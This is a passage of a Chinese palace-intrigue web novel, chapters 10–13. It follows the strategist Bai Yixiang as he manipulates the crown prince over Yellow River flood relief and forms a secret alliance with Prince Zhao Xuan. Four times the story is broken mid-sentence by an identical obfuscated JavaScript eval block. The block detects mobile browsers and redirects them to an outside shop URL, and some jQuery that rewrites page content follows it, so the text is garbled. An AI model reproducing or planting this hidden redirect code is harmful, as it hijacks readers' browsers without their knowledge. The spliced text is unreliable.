“那殿下作何打算?”白敬德追问道。 白逸襄闻言,抬起头,脸上露出一抹苦涩、无奈的笑容。 “殿下说……”他顿了顿,缓缓道:“知渊,你多虑了。区区水患,何足挂齿?孤眼下,心腹大患唯有其他皇子狼子野心,觊觎储位。” “……”白敬德的身子,猛地晃了一下。他张了张嘴,想要反驳,却一个字也说不出来。 这话,太像太子赵钰能说出来的话了。 那个储君,继承了皇帝陛下的多疑与刻薄,却没有继承半分陛下的帝王心术。在他的眼里,权位之争,永远大过天下民生。 白逸襄看着父亲的反应,继续不紧不慢地,抛出了最后一击,“父亲,您说,若是这黄河真的决了堤,陛下震怒之下,追查起来。发现太子殿下早已知情,却因与其他皇子争斗而置若罔闻,从而酿成滔天大祸……届时,会是何等光景?” “这……”白敬德的嘴唇开始哆嗦起来。 “届时。”白逸襄的声音陡然转冷,“太子殿下储位不保,是其一。而我白家,作为东宫肱股,辅佐不力,甚至知情不报,便是欺君罔上!到时候,白家又会是何等境地?” “住口!”白敬德猛地一拍桌子,厉声喝道,也不知是在呵斥儿子,还是在呵斥自己。 他颓然地坐倒在坐榻上,满脸的疲惫与挣扎。他知道,儿子说的,都对。白家与东宫,早已是一根绳上的蚂蚱。 可…… “这……这与你去清音阁,又有何干系?”他依旧固执地问道。 终于问到点子上了。 白逸襄脸上那股凌厉之气瞬间褪去,又恢复了那副虚弱不堪的模样。他扶着桌沿,轻轻地咳了两声,才用一种近乎自嘲的语气,缓缓道:“因为……儿子实在别无他法。” “太子殿下听不进我的劝告,一心只想着如何除去二殿下这个眼中钉。甚至不惜……不惜用下流手段构陷于他。他命张茂串通玉芙蓉给二皇子设局,想让他服下合欢散与那玉芙蓉行苟且之事,再将此事公之于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766969|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众,毁掉二皇子的前程。” 他抬起头,看着自己的父亲,继续道:“父亲,您想,若真让太子用那等下作手段,成功扳倒了二殿下。固然是除去了一个对手,可陛下是何等聪明,只需随意查探,便会知道其中缘由。太子殿下日后必然在陛下面前,种下了‘无容人之量,构陷兄弟’的种子。一个连自己兄弟都容不下的储君,陛下……还会放心将这万里江山,交到他手上吗?” 白逸襄没有说得更明确,他知道,父亲明白,当今皇帝赵渊最善玩弄权术,朝野上下眼线众多,各个皇亲国戚、贵族世家都在他的紧密监控之下,皇子们更加不例外。 而且,由于当今皇帝曾经也是经历了血雨腥风才登上帝位,他最不愿看到的便是亲情寡淡,手足相残。 太子的行径一旦暴露于皇帝面前,那他必将彻底失势。 “所以……”白敬德的声音都在发颤。 “所以,儿子只能出此下策。”白逸襄深深地吸了一口气,仿佛用尽了全身的力气,“儿子宁可自己身败名裂,行此疯癫之举,也要制止此事。至少……保住太子殿下,最后的体面。” 他说着,再次对着白敬德,深深地、深深地作了一揖。 “儿子所为,皆为东宫,皆为我白家百年基业。有辱门楣之罪,儿子……甘愿领受。” 书房内,再次陷入了寂静。 白敬德怔怔地看着自己的儿子,沉默良久。 待他再次开口,便是无尽的叹息:“罢了……罢了……” 他又很快整理好情绪,道:“吾儿现在像个一家之主了。” 得子如此,白家大幸。 真是先祖保佑啊! 白敬德忙唤道:“来人,叫厨房多准备一些饭菜。我要在逸襄的书房用膳。” 白敬德脱鞋上榻,挽起了袖子,笑道:“为父今日要与吾儿促膝长谈。” “儿从命。”白逸襄连忙附手施礼,也坐于榻上。 “来来来,快与我讲讲这黄河舆图!” * 那晚书房谈话后,白敬德便再也没提过清音阁半个字,更没提什么家法伺候。他只是默默地配合着儿子,对外宣称白逸襄“大病未愈,仍需静养”,将一切探视都挡了回去。同时,又命人加倍了白逸襄的汤药补品。 父亲默许了他的“离经叛道”。 有了家中这座最大的靠山首肯,他便彻底放下了心,一面安心养着身子,一面静静地,等待着即将到来的巨变。 又过了半月,黄河决堤的八百里加急奏报,呈上了大靖朝堂。 金銮殿内,文武百官神色凝重。 当今圣上赵渊坐在御榻之上,听着户部尚书一把鼻涕一把泪地哭诉着灾情如何严重,国库如何空虚,面色越来越黑。 太子赵钰站在百官之首,眉头紧锁,一副忧国忧民的储君姿态。 待户部尚书哭诉完,赵渊的目光缓缓扫过阶下的几个儿子,沉声道:“黄河决堤,灾民流徙,此事,诸位爱卿,诸位皇儿,都有何良策啊?” 一时间,殿内寂静无声。 11. 第 11 章 谁都知道,赈灾是件吃力不讨好的苦差事。办好了,是分内之责;办砸了,名节不保是小,脑袋搬家是大。 沉默了片刻,还是太子赵钰第一个站了出来。他上前一步,躬身道:“父皇,儿臣以为,当务之急,是立刻派遣侍御史,前往灾区,查明实情,安抚民心。切不可操之过急,以免再生事端。” “太子所言极是。”侍中魏伦道。 “哼,冠冕堂皇!此法看似合情合理,实有拖延时间,推卸责任之嫌。”说话的,是四皇子赵辰。 赵钰侧目而立,表面不动声色,内心却愤恨不已。 这个老四,处处与他针锋相对,如今他身上立有军功,又手握兵权,愈发的嚣张跋扈了。 赵钰冷哼一声,不咸不淡的问:“四弟有何高见?” 赵辰出列,他身材本就魁梧,在配上一身“莽丛绿”武将官服,衬得他更显威武,他声如洪钟地道:“父皇!儿臣以为,灾民流徙,若不安抚妥当,极易啸聚成匪,引发动乱。当派精兵前往,一来维持秩序,二来也可震慑宵小,以防万一!” 赵辰向来主张武力镇压,此答符合他简单粗暴的性格。 六皇子赵奕轻蔑一笑,见状,也款款出列,他一身浓厚的文人气质,显得高雅而飘逸。他从容道:“父皇,四哥此言差矣。灾民本就流离失所,若再以兵戈相向,岂非寒了天下百姓之心?儿臣以为,当效仿先祖圣君,开仓放粮,广施恩德,以仁政治之,民心自安。” “启禀陛下,臣以为,晋王殿下所言甚是!”吏部尚书张济连忙道。 张济出列支持六皇子,引得其他文官们也都纷纷出列效仿。 赵渊点了点头,目光落在了自始至终不发一言,仿若雕像的赵玄身上。 赵渊道:“玄儿,你呢?为何不说话?” 赵玄这才出列,拱手道:“回父皇,儿臣以为,太子殿下、四弟、六弟所言,皆有其理。但无论是派御史,还是派精兵,亦或是开仓放粮,都只是治标之策。黄河水患,百年顽疾,其根源在于河道淤塞,堤坝失修。当务之急,是立刻派遣精通水利的官员,奔赴实地,勘察水文,拿出根治之策。救灾,亦要救根。否则,今年救了,明年依旧要决堤,国库再丰,也经不起这般年复一年的消耗。” 他这番话,不偏不倚,切中了问题的要害,却没有引用其他皇子建议用作补充,这让他显得与其他皇子一样,都只是有部分的战略眼光,却无法纵观全局。 正确答案是赵玄这番论断,加上派兵避□□民生乱,同时开仓放粮安抚民心,再派侍御史监察地方官是否夹私舞弊,四项工作协同开展,才有根治黄河水患的可能。 白逸襄并不觉得是赵玄考虑问题不周,而是避免锋芒过盛,引来关注和妒恨。 御榻上的赵渊,那张素来威严的脸上,终于露出了一丝不易察觉的赞许之色。 他的目光从赵玄身上移开,缓缓扫过阶下,最后,落在了角落里那个一直低眉顺目、仿佛快要睡过去的东宫洗马身上。 赵玄的目光,也若有似无地,跟着飘了过去。 这是自清音阁那晚之后,他第二次见到白逸襄。 今日的白逸襄,穿着一身合体的绛紫色文官服,头发也梳理得一丝不苟,很难与那晚疯癫凌乱的白逸襄联想到一起。 他身形清瘦,但个子高挑,骨架笔挺,即使宽大的官服穿在他身上也能撑起,腰间系着的黑色革带,将其一掌可握的细腰展露无遗。他整个人就像一杆易折的玉竹,清冷,脆弱,却又带着一种宁折不弯的风骨。 似乎是察觉到了那道过于专注的视线,白逸襄缓缓抬起了眼帘。 两人的目光,在金銮殿肃穆的空气中,短暂地交汇了一瞬。 赵玄看到的依旧是那副熟悉的、仿佛隔着一层薄雾的疏离感。 白逸襄顺势移开视线,上前一步,对着太子赵钰的方向,深深一揖,朗声道:“启禀陛下,臣以为,众位皇子都切中了问题的要害,各有妙处。诚然,根治水患,非一朝一夕之功。眼下灾情紧急,数十万灾民嗷嗷待哺,正需一位德高望重之人,亲领赈灾之责,以显我皇室仁德,安定天下之心。” 他抬起头,目光灼灼地看着太子,声音里充满了“忠诚”与“恳切”:“太子殿下乃国之储君,万民所望。值此危难之际,若能亲赴灾区,与民同苦,必能为陛下收获天下民心!” 这番话,掷地有声,大义凛然,太子赵钰听了,原本有些不悦的脸上,豁然露出喜色。 他本就因前阵子被赵玄抢了风头而心中不快,今日朝堂之上又被赵辰顶撞,心中正烦闷不堪。如今听了白逸襄这番话,只觉得实在是说到了自己的心坎里,这正是自己扳回一局的大好机会! 说的没错,他是太子,是未来的皇帝!这等“收获民心”的好事,怎能让给别人? 他当即大袖一甩,对着御榻上的赵渊,慨然道:“父皇!儿臣愿往雍州治水!” 大殿之上,尘埃落定。 不出意料,皇帝下旨,命太子赵钰总领此次治水赈灾事宜,全权负责。 同时,又命秦王赵玄为副手,予以协助。 退朝的人流中,赵玄与白逸襄再次擦肩而过。 两人谁也没有看谁,仿佛只是两个毫不相干的陌路人。 * 当晚,东宫的书房之内,灯火通明。 即将远行的太子殿下,正意气风发地召集着自己的幕僚,商议着此次南下的方略。 “大病初愈”的白逸襄捧着一杯热茶,安安静静地坐在角落里,听着众人七嘴八舌地讨论着,时不时地,还应景地咳嗽两声。 待众人都讨论得差不多了,太子赵钰才将目光转向他,问道:“知渊,你足智多谋,对此事,有何高见啊?” 白逸襄放下茶盏,站起身来,不急不缓地道:“回殿下,臣以为,此事说难也难,说易也易。臣这里,有上、中、下三策,供殿下选用。” “哦?”赵钰来了兴致,“快说来听听。” 白逸襄拱手道:“上策,‘募工兴利,计劳救灾,疏浚为本’。殿下可调集灾民,以工代役,疏浚旧河道,开凿分洪渠。如此,既能让灾民有工可做,有粮可食,免其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766970|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流离失所,又能从根源上解决水患,乃是一劳永逸、利在千秋的万全之策。只是……此策耗时耗力,怕是没个三年五载,难见成效。” 太子赵钰听了,不置可否地撇了撇嘴。 白逸襄继续道:“中策,‘堵疏并举,稳扎稳打’。一面加固现有河堤,一面分段疏通淤塞之处。此策虽不能根治,却也能保十年之内,黄河无虞。只是,工程依旧浩大,且需与沿岸官府、世家多方协调,颇为繁琐。” 赵钰的脸上,已经露出了一丝不耐烦的神色。 “至于下策嘛……”白逸襄略显迟疑。 “下策为何?” “下策便是‘先保官田,强征民夫’。殿下只需集中所有人力物力,先将决堤之处堵上,保住沿岸官府田庄不受侵扰。至于那些寻常百姓的民田,不过是些许损失罢了,待来年再行安抚便是。此策,见效最快,不出三月,便可功成。殿下亦可早日回京复命。” “好!” 太子赵钰听到这里,猛地撩开衣摆,站了起来,赞道:“知渊此策,深得我心!就这么办!” 他要的,本就不是什么“千古功绩”,而是能尽快在父皇面前挣回脸面的“政绩”。这下策,来得又快又稳,简直是为他量身而定。 赵钰看着白逸襄,脸上满是赞许:“知渊啊,你果然是我的肱股之臣!待我此次功成回京,定向父皇为你请功!” “为殿下分忧,乃臣之本分。”白逸襄深深一揖,隐去了眼底的讥讽。 * 从东宫出来,已是深夜。 白逸襄坐在回府的马车里,疲惫地揉了揉眉心。 回到白府,他没有直接回卧房歇息,而是先去了书房。 他提笔将方才献给太子的“上中下”三策,原原本本地默写了一遍。 写完后,他将这份手书,连同他早已准备好的、关于黄河下游真实灾情的密报,以及那份详细阐述“募工兴利,计劳救灾”之法的《治水上策》,分别装入了三个不同的信封。 他唤来白福,吩咐道:“福伯,将这封信,亲手交给韩王府上的管事。切记,要快,要隐秘。” 这是他早就与赵楷约定好的联络方式,通过心腹管家,单线传递。 白福接过信,郑重地揣入怀中,转身离开。 白逸襄又拿起另外两个信封,沉吟片刻,唤来了自己的贴身侍女之一,也是温晴岚的侍女的亲姐姐卉迟,吩咐道: “这封信,你设法交给温府的晴岚小姐。告诉她,老办法。至于这封,”他指着那份《治水上策》,“让温府的管家,想办法,尽快呈到侍中谢安石的案头。” 这种通过姻亲故旧的管家来传递一些不便明言的消息,是世家之间心照不宣的手段。既体面,又安全。 卉迟领命而去。 做完这一切,白逸襄想了想,拿起笔还想写点什么,却听到了吧唧吧唧的声音。 他抬起头,循声望去,正看到石头坐在门槛上啃着糖烧饼,白逸襄不由得皱了下眉头。 他明明记得,石头晚饭已吃了一大盆白米来着…… 12. 第 12 章 一日,白府收到了一封来自温府的拜帖。温太史在帖中言辞恳切,称自家女儿已至适婚之龄,而白逸襄亦是弱冠之年,两家婚约,是否也该提上日程。邀白敬德回京之后,择一日过府详叙。 白逸襄看完,只觉得一个头两个大。 他差点忘了,自己身上还背着一桩婚事。 他将帖子放到一旁,对父亲道:“父亲,此事……可否暂缓?儿子如今身子不济,又身陷流言,恐非良配。” 白敬德看了他半晌,那是他从小看到大的,当亲闺女一样看待的人,温晴岚,不敢说全国,至少在所有的高门贵女中,才学与德行那都是数一数二的。 可白逸襄如今为了白家未来,暂损名誉,身体不济也是人尽皆知,在外人看来,嫁给白逸襄确实是委屈了温晴岚。 白敬德纠结了一会,终是叹了口气,道:“也罢。我便修书一封,与你温伯父说,待你身子大安之后,再议此事。” 白逸襄点了点头,心中也下了决心。 想着尽快寻一个合适的时机,与温晴岚私下见一面,将事情彻底了断,还她自由。 …… 当晚,白逸襄刚整理完书稿,还没来得及松口气,白福又送来了一封信。 一封来自“竹林馆”的信。 信封上没有任何署名。 白逸襄拆开来,里面也只有一张素白的信纸。 信纸上,是两行力透纸背的字迹。 第一行: “先生之谋,已入我彀。” 白逸襄看着这八个字,并不意外。他知道,以赵玄的智慧,应当能看懂他的谋划。 他的目光缓缓移向了第二行: “然纸上谈兵,终觉不快。三日之后,竹林馆,我等先生。” 白逸襄缓缓走到烛火前,将手中的信纸,凑近了跳动的火焰。 纸张瞬间被点燃,蜷缩,化为一缕飞灰。 竹林馆…… 他与秦王的结盟,不知是否能挽救这个国家的未来。 白逸襄看着窗外那轮清冷的秋月,既期待又疑虑。 * 三日后,竹林馆。 这地方说是“馆”,其实连个像样的牌匾都没有,只在通往后山的一条僻静小路的入口处,立着一块半人高的青石,上面用写意的行草,刻着“翠竹苑”三个字。 京城里的纨绔子弟们都知道,这地方看着不起眼,门槛却高得很。寻常富商,哪怕是捧着金山银山,也未必能踏入此地半步。能拿到馆主亲制的鎏金名帖、在此处拥有一间专属雅室的,无一不是皇亲国戚,或是顶级门阀中身份最尊贵的那几位。 白逸襄今日,便是持着三皇子赵楷的名帖而来。 他依旧是一身素净的天青色宽袖长袍,乘着一辆不起眼的青帷小车。车在路口便停了,他谢绝了石头的搀扶,独自一人,拿着那张名帖,顺着蜿蜒的石阶,缓缓拾级而上。 一路行来,两旁是望不到尽头的翠绿竹林。秋风穿林而过,吹得竹叶沙沙作响。阳光被细碎的竹叶筛过,在青石板上投下斑驳陆离的光影,明灭不定。 空气里,满是雨后竹林的清香,混杂着微湿的泥土气息,闻之令人心旷神怡。 白逸襄慢慢地走着,这副身体虽然日日调养已经大好,却因底子太差,尚不能远足。他走的很慢,也乐得慢些,如此一来好将此处的景致,一一收入眼底。 行至半山腰,一座建在溪流之上的水榭,出现在竹林的尽头。 水榭也是竹制,结构精巧,与周遭景色融为一体。门口立着两名青衣小厮,见了白逸襄,并未上前盘问,只是躬身行礼,其中一人道:“知渊先生,我家主人,已在‘听风’小筑恭候多时了。” 白逸襄微微颔首,随那小厮,穿过水榭,走上一条悬于溪流之上的竹制回廊。脚下是潺潺的流水,叮咚作响,清澈见底,甚至能看见五彩的卵石和偶尔游过的金色鱼儿。 回廊的尽头,是一间独立的雅室,门窗皆由细密的竹帘垂挂,甚是风雅。雅室门口立着两位秦王近卫,正是此前在清音阁见到的两人。 两人见到白逸襄,比上次恭敬客气,双双抱拳致意。 白逸襄也抬手回礼。 小厮为他打起竹帘,道:“先生请。” 白逸襄迈步而入。 雅室不大,陈设也极其简单。一张竹案,两只蒲团,一架古琴,一炉熏香。 角落里的兽首铜炉里,正燃着香,青烟袅袅,与窗外的竹香交织在一起,形成一种清冷又奇异的幽香。 案上,摆着一副棋盘。 棋盘旁,坐着一人。 那人一身墨绿色的常服,长发仅用一根碧玉簪束起。 他低着头,凝神看着眼前的棋局,一手执黑,一手执白,在与自己对弈。 听到脚步声,他缓缓抬起头来。 赵玄那略带侵略性的目光,不闪不躲地,直直地看向白逸襄。没有半分笑意,只有纯粹的、毫不掩饰的审视与探究。 赵玄的视线扫过他那张清俊的脸庞、虽瘦却挺拔宽阔的肩膀、以及那双修长白皙的双手,最终定格在白逸襄手中所持的素面斑竹扇上。 “素面斑竹扇”本身并无稀奇,多为世家公子和清流名士追捧。 但白逸襄的扇面题词却与众不同。 他人多以诗词题写,或经典短句,而白逸襄扇面的白色细绢却写着:“三策定”。 赵玄堂而皇之的打量,白逸襄却未受影响,上前一步,长揖及地:“草民白逸襄,见过秦王殿下。” 赵玄挑眉,“白洗马何称草民?” 白逸襄:“如今在下已被太子殿下闲置,有官无职,闲散在家,故自称“草民”。” 赵玄微微一笑,不复刚才的冷淡,长手一伸,道:“先生请坐。” 白逸襄这才直起身子,依言在他对面跪坐下来。 两人之间,隔着一张棋盘。 棋盘之上,黑白二子已厮杀至中盘,局势胶着,难分胜负。 赵玄将手中的白子放回棋盒,做了个“请”的手势,“方才一人独弈,颇为无趣。听闻先生国手无双,不知可否赏脸,陪我对完这盘残局?” 白逸襄道:“殿下谬赞,国手不敢当。只略通一二罢了。” 就见白逸襄嘴里说着不敢当,手下却有了动作。 白逸襄随手执起一枚黑子,看了一眼棋盘,毫不犹豫地落下一子。 这一手,让赵玄脸色微变。他忙执起白子,迅速跟上。 两人你来我往,无声对弈。 雅室之内,一时只剩下棋子落在棋盘上的、清脆的“嗒嗒”之声,以及窗外那若有似无的、风吹竹林的沙沙之响。 白逸襄的心思,其实并未全在棋盘之上。 他一边落子,一边不动声色地观察着对面的赵玄。 这位二皇子,生得一张英气逼人的面孔,剑眉浓黑,星目上挑,鼻梁高挺,唇形也堪称完美。 他犹记得,每每见到此人,对方都是双目炯炯有神,走路飘逸生风,丝毫不见懒散与疲态。 那正是白逸襄最渴望拥有的元气十足、精神饱满的状态。 白逸襄内心暗叹,赵玄此等样貌与气魄,怕是在陋室也能令其蓬荜生辉吧。 只是,人无完人,如此翩翩郎君,喜好却不寻常。 好男-色,在民间,在士族圈,并不是什么稀奇事。但身为皇室成员,这便是天大的罪过。 但愿他病的不重…… 观他的能力和野心,断然不会因为这一爱好葬送自己的前程。 只是,如今赵玄已二十四五,却迟未娶妻,即使不近男-色,也会留人口实,成为政敌拿来攻讦的短处。 日后定要为他选择家世才德一等一的世家女为妻,登基后,充盈后宫,开枝散叶,以期大靖王朝能千秋万代。 赵玄只感觉对面的目光时不时的射向自己,却不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766971|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方已经自作主张的帮他规划好了一生。 “先生身体,可大安了?”赵玄虽未抬头,却突然发问,打断了对方失礼的注目。 白逸襄回过神,落下一子,“劳殿下挂心,不过是些老毛病,不碍事。” “哦?清音阁那晚,先生可是生龙活虎。” 白逸襄似乎料到他会有此一问,淡淡道:“事出紧急,殿下莫要怪罪。” 赵玄落下一子,截断了黑子的一条大龙,看似随意地道:“先生可知,这几日京城的流言,都快要把先生编排成什么样了?” 白逸襄不以为意,又在别处落子,开辟新的战局:“无非是些才子佳人、争风吃醋的戏码罢了。百姓们爱听,说书的爱讲,由他们去便是。” “才子佳人?”赵玄的语气里,带上了一丝慵懒的嘲讽,“先生是才子,玉芙蓉是佳人?” 白逸襄执子的手,在空中微微一顿。 赵玄却像是没看到他的异样,继续道:“先生难道不知,白府这几日都快要被那些前来‘求证’的世家郎君们给踏破了。他们都想一睹‘冲冠一怒’白大才子的风采。” “……” 居然有这事? 想是父亲的苦心,制止了这些消息传到自己耳朵里。 “殿下这是在替草民烦恼吗?” “谈不上烦恼。”赵玄道,“只是觉得,先生为了本王,受此污名,心中多少有些过意不去。” 他说着“过意不去”,脸上却丝毫没有“过意不去”的表情。 白逸襄垂下眼帘,看着棋盘,道:“为臣者,当为君父分忧。清誉受损事小,君父颜面事大。” 赵玄停下落子得动作,追问道:“那先生以为,何为真正的‘为君父分忧’?” 白逸襄抬起眼,迎上赵玄的审视,缓缓道:“使君父,无忧可分,便是为臣之道。” 为君父分忧,这话,赵玄听过无数遍。 可“使君父无忧可分”,这等气魄,这等抱负,他却是第一次听人说起。 赵玄盯着白逸襄良久,对方不躲不闪,坦荡的与他对视。 这句话,白逸襄已经明示了立场。 可他,能信他吗? 赵玄不知道。 白家长久的立于东宫背后,从未有过变化,为何白逸襄会突然转舵? 棋局,不知不觉间,已经到了终局。 黑白二子,在棋盘之上,形成了一个微妙的平衡。谁也无法再吃掉对方一子,谁也无法再多占一分地盘。 和棋。 赵玄看着这盘棋,许久,才缓缓地,将手中的白子,放回了棋盒之中。 他站起身,对着白逸襄,作了一个长揖。 “先生之才,胜过千军万马。本王受教了。” 白逸襄也缓缓起身,坦然受了他这一礼,随即,亦是回了一揖。 “殿下之志,非在方寸之间。草民,拭目以待。” 赵玄直起身子,脸上那股子咄咄逼人的气势,终于收敛了几分。他换让和煦的笑容,道:“三日后,太子的仪驾,便要前往黄河灾区。本王,也会随行。” 白逸襄点了点头,轻摇扇柄,那扇面上明晃晃的三个字“三策定”,便也落入了赵玄的眼帘,白逸襄的声音也同时响起:“殿下既然已经知道了我那‘三策’,想必也猜到了太子会如何选择。” 赵玄道:“他选了下策。” 白逸襄道:“殿下既已知晓,草民便不再多言。” 赵玄道:“先生觉得我会选什么?” 白逸襄道:“殿下会选上策。” 赵玄道:“此上策,难如登天。” 白逸襄道:“以殿下之能,逸襄之才,可定乾坤。” 此话一语双关,黄河之水可定,天下亦可定也! 赵玄眯眼看着白逸襄,久久未动。 他准备了好了试探对方的千言万语,竟在白逸襄直白的说辞之下,无从开口。 13. 第 13 章 黄河赈灾仪仗离京的那日,天色尚早,秋阳挂在微凉的晨雾里,没什么温度。 承天门大街两侧站满了前来送行的百姓和官员,人头攒动,却无喧哗声,只有官靴踏在青石板上的整齐脚步声,和仪仗队旗幡被风吹动的飒飒之响。 东宫的仪仗,排场极大。明黄色的车盖,金线绣的团龙,拉车的,是八匹神骏非凡的北境雪鬃马,毛色纯白,没有一根杂毛。车队前后,是盔甲鲜亮的东宫侍卫,个个精神抖擞,威风凛凛。 相比之下,几乎是同时离京的二皇子赵玄,就显得低调得多了。 他没有走承天门大街,而是从另一处偏门启夏门悄然出城。没有仪仗,没有护卫,甚至连一辆像样的马车都没有。他只带着彭坚、秦王僚属及十数名亲随,一人一骑,轻车简从,直奔黄河上游而去。 而随赈灾队一起出发的白逸襄,坐在马车里,听着外面百姓“太子殿下千岁”的山呼,心中只觉得荒唐。 这哪里是去赈灾,分明是去巡狩。 他掀开车帘一角,看到赵玄那一行人的背影,在晨雾中汇成一个小小的黑点,渐行渐远。 白逸襄放下车帘,隐隐的叹了口气。 他万万没想到,太子临行前竟来了这么一手,一大早派东宫侍卫宣读手谕,令他出任太子詹事,协同太子行赈灾要务,立即启程。 他原是计划太子和赵玄离京这段时间,好好修养身体,顺便打磨他后续的所有计划。 结果现在完全被太子被打乱了。 白逸襄心里不快,却又发作不得,只好盘腿打坐,颐养心神。 …… 马车行了三日,便进入了水路。 赵钰嫌陆路颠簸,早早命人备下了一艘三层楼高的奢华官船,停靠在广济运河的码头。船上雕梁画栋,陈设精美,甚至还带了一个小型的南府乐班和十数名美貌侍女,以解旅途烦闷。 白逸襄看着这艘堪比行宫的官船,再想想那些还在黄河浊流中挣扎的灾民,只觉得胸口一阵发闷,又忍不住低低地咳了起来。 “郎君,你脸色不好,要不要先回船舱歇着?”石头憨粗的声音在白逸襄身后响起。 “无妨。”白逸襄摆了摆手,“吹吹风,也好。” 他怕自己一回到那熏香缭绕的船舱里,会忍不住把隔夜的药都吐出来。 太子赵钰却对自己的安排极为满意。他立于船头,凭栏远眺,意气风发,仿佛自己已是那指点江山、挥斥方遒的一代明君。 他对身边的白逸襄笑道:“知渊,你看这运河两岸,风光何其壮丽。孤此次南下,既为父皇分忧,亦可体察民情,实乃一举两得。” 白逸襄恭声道:“殿下心怀天下,乃万民之福。” 他这话,倒也不全是奉承。太子若能真将这份“体察民情”的心思,用在实处,倒也不失为一个守成之君。只可惜…… “殿下,”随行的几位清流名士中,一位出身琅琊王氏的宿儒上前一步,抚须笑道,“如此良辰美景,若无雅事助兴,岂不可惜?听闻殿下于玄理清谈之道,颇有心得。不若我等于这江上,开一场清谈之会,殿下以为如何?” 太子赵钰正愁旅途无聊,一听此言,顿时大喜,抚掌道:“王学士此言,深得我心!来人,备酒,备席!” 很快,官船二楼那宽敞的甲板上,便设下了一场风雅的清谈宴。 数张矮席,两两相对。席上摆着精致的瓜果、糕点,以及温好的美酒。几位随行的名士,连同东宫的几位幕僚,分坐两侧。 太子赵钰则高坐于主位,脸上挂着志得意满的笑容。 白逸襄因被太子再次“重用”,而坐在了太子的下首位。 众人皆道太子胸怀宽广,爱惜人才,白逸襄在大闹清音阁的荒唐事后仍然重用于他。 只有白逸襄知道,太子是恐怕离京太久,自己投诚到其他皇子门下。将他带在身边,一来易于防范,二来彰显德行。 众人投来或鄙视的或嫉妒的目光,白逸襄却并不在意,捧着一碗清茶,悠然自得地听着众人高谈阔论。 上个皇朝“大衍”以来的风气,在大靖尤为盛行。清谈,更是上流社会最时兴的雅事。一群人聚在一起,不谈国事,不论文采,只谈玄之又玄的哲理,辩论一些看似毫无用处却又显得极为高深的话题。谈得好了,便能博得美名,身价倍增。 众人从先人典故谈到七贤风流,又从失传的绝响《广陵》辩到书圣的《晴雪帖》,气氛一派祥和,其乐融融。 酒过三巡,那王学士再次站起身来,举杯向太子敬道:“殿下,今日我等能于此江上,畅谈玄理,皆赖殿下恩典。老朽有一惑,困扰多时,今日斗胆,想请殿下,为我等解惑。” 太子赵钰饮下一杯酒,心情正好,大笑道:“王学士但说无妨。” 王学士抚须道:“敢问殿下,为君者,其德,究竟在‘有为’,还是在‘无为’?” 这个问题一出,甲板上的气氛,瞬间便凝重了几分。 这是一个经典的、也是一个极为敏感的政治议题。 “有为”意味着君主当励精图治,大刀阔斧,开疆拓土,建立不世之功。开国神武皇帝,走的便是这条路。 而“无为”则意味着君主当垂拱而治,清静无为,与民休息,不与民争利。本朝仁宗先帝,守的便是这个道。 两条路,没有绝对的对错,却代表着两种截然不同的治国理念。 一时间,众人都将目光投向了太子,想听听这位未来的国君,会如何作答。 赵钰也知道这个问题的分量。他沉吟了片刻,没有立刻回答,而是将目光投向了一直默不作声的白衣谋士。 不管怎样,那白逸襄学富五车,才高八斗,帮他解围,绰绰有余。 “知渊,”他问道:“依你之见呢?” 白逸襄放下手中的茶盏,站起身来,对着太子,也对着众人,不急不缓地躬身一揖。 他清了清嗓子,那因久病而略显沙哑的声音,在嘈杂的丝竹声和水流声中,却显得异常清晰。 “回殿下,回诸位大人。逸襄以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766972|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此事,当分时而论,不可一概而括。” 他故意顿了顿,等到周围的目光都投向自己,且透出一股急切,他才道:“神武皇帝之时,天下初定,百废待兴,内有大衍余孽,外有虎狼环伺。彼时,若行‘无为’之策,无异于坐以待毙。故神武皇帝当行霹雳手段,南征北战,开疆拓土,方有我大靖今日之盛世。此乃时势所趋,是为‘有为’之功。” 